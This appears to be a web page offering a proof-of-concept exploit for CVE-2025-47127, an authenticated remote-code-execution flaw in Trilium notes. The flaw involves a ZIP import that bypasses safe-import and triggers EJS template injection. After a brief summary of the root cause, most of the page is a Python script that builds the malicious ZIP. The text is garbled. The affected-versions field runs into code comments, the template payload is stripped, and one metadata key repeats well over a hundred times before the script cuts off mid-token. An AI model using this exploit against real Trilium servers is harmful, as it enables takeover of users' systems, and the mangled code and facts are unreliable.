Trilium CVE-2025-47127: Auth RCE via shareTemplate safe-import bypass & EJS SSTI

Vulnerability Key Information Summary Vulnerability Overview Vulnerability Name: Authenticated RCE in TriliumNext/Trilium via Relation — SafeImport Bypass → EJS SSTI (Safe import enable) CVE ID: CVE-2025-47127 Severity: High Root Cause: Trilium’s ZIP importer features a "Safe import" toggle that is enabled by default. However, the relation is hardcoded with in , yet this relation was not correctly flagged as dangerous. This allows an attacker to craft a malicious ZIP package that, upon import, triggers in an EJS template, executing arbitrary JavaScript within the server’s Node.js process, thereby achieving RCE. Affected Versions Affected Versions: /usr/bin/open -> Calculator linux -> gnome-calculator win32 -> calc.exe Headless docker hosts will spawn but get no visible window. Use this against a desktop Trilium install (Electron or "open server" mode) on macOS / Linux with a session) to see the classic calc-pop marker. """ import json import sys import zipfile ROOT_NOTE_ID = "a1b2c3d4e5f6g7h8" TPL_NOTE_ID = "i9j8k7l6m5n4o3p2" EJS_TEMPLATE = r"""Calculator""" META = { "formatVersion": 2, "appVersion": "0.103.0", "noteTree": { "notePath": ROOT_NOTE_ID, "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_

Goal Reached Thanks to every supporter — we hit 100%!

Trilium CVE-2025-47127: Auth RCE via shareTemplate safe-import bypass & EJS SSTI

More from this source